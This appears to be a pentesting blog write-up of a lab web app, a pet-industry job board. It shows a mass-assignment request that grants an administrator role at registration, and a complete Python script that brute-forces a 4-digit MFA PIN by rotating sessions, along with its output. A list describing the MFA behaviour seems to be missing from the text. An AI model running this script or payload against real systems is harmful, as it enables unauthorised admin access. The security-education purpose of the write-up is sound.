b1gb33f_blog

Pentesting and AppSec

View on GitHub
22 February 2026

FurHire-004

by Shawn Szczepkowski

FurHire is a pet industry job board where user’s can look for jobs and recruiters can post jobs.


The Application

Registration is straightforward — you supply a username, email, full name, and password and receive a JWT:

POST /api/register
Content-Type: application/json

{
  "username": "testuser",
  "email": "testuser@test.com",
  "full_name": "Test User",
  "password": "test123"
}
{
  "token": "<jwt>",
  "user": {
    "id": 6,
    "username": "testuser",
    "role": "user"
  }
}

The JWT payload:

{
  "id": 6,
  "username": "testuser",
  "role": "user",
  "iat": 1234567890
}

The role field in the JWT is set at registration. That’s worth testing.


Finding 1: Mass Assignment

Adding "role": "administrator" to the registration body:

POST /api/register
Content-Type: application/json

{
  "role": "administrator",
  "username": "attacker",
  "email": "attacker@test.com",
  "full_name": "Attacker",
  "password": "test123"
}
{
  "token": "<jwt>",
  "user": {
    "id": 10,
    "username": "attacker",
    "role": "administrator"
  }
}

The server accepted the field without any validation and issued an admin JWT. Navigating to /admin with this token redirects to /mfa-verify — a 4-digit PIN gate stands between us and the admin panel.


Finding 2: MFA Brute Force

The MFA verify endpoint:

POST /api/mfa/verify
Authorization: Bearer <admin_jwt>

{"pin": "1234"}

After some testing, the behavior becomes clear:

That last point is the key and may take some trial and error or running the script multiple times.

import requests
import time
import urllib3
urllib3.disable_warnings()

HOST = "https://TARGET_HOST/"
USERNAME = "YOUR_ADMIN_USERNAME"
PASSWORD = "YOUR_PASSWORD"
ATTEMPTS_PER_SESSION = 12

def login():
    s = requests.Session()
    r = s.post(f"{HOST}/api/login", json={"username": USERNAME, "password": PASSWORD}, verify=False)
    token = r.json().get("token")
    print(f"[+] Logged in | token: ...{token[-20:]}")
    return s, token

def try_pin(session, token, pin):
    r = session.post(
        f"{HOST}/api/mfa/verify",
        json={"pin": pin},
        headers={"Authorization": f"Bearer {token}"},
        verify=False,
        timeout=10
    )
    return r.status_code, r.json()

all_pins = [f"{i:04d}" for i in range(10000)]
tried = 0
sessions = 0

for i in range(0, len(all_pins), ATTEMPTS_PER_SESSION):
    try:
        s, token = login()
    except Exception as e:
        print(f"[-] Login failed: {e}, retrying...")
        time.sleep(2)
        continue

    sessions += 1
    batch = all_pins[i:i + ATTEMPTS_PER_SESSION]

    for pin in batch:
        try:
            status, resp = try_pin(s, token, pin)
            print(f"[{tried:04d}] PIN {pin} -> {status} {resp}")
            tried += 1

            if status == 200:
                print(f"\n[!!!] VALID PIN: {pin}")
                print(f"[!!!] Token: {token}")
                exit()
        except Exception as e:
            print(f"[!] Error on PIN {pin}: {e}, skipping")
            tried += 1
            continue

    print(f"[~] Session {sessions} done | {tried}/10000 tried")
    s.close()
    time.sleep(0.5)

print("[-] All PINs exhausted")

Let it run:

[+] Logged in | token: ...XXXXXXXXXXXXXXXXXX
[0000] PIN 0000 -> 400 {'error': 'Invalid PIN'}
[0001] PIN 0001 -> 400 {'error': 'Invalid PIN'}
...
[4288] PIN 4288 -> 200 {'success': True, 'message': 'MFA verification successful'}

[!!!] VALID PIN: 4288
[!!!] Token: <redacted>

When the correct PIN is found we should be able to access the admin panel.

tags: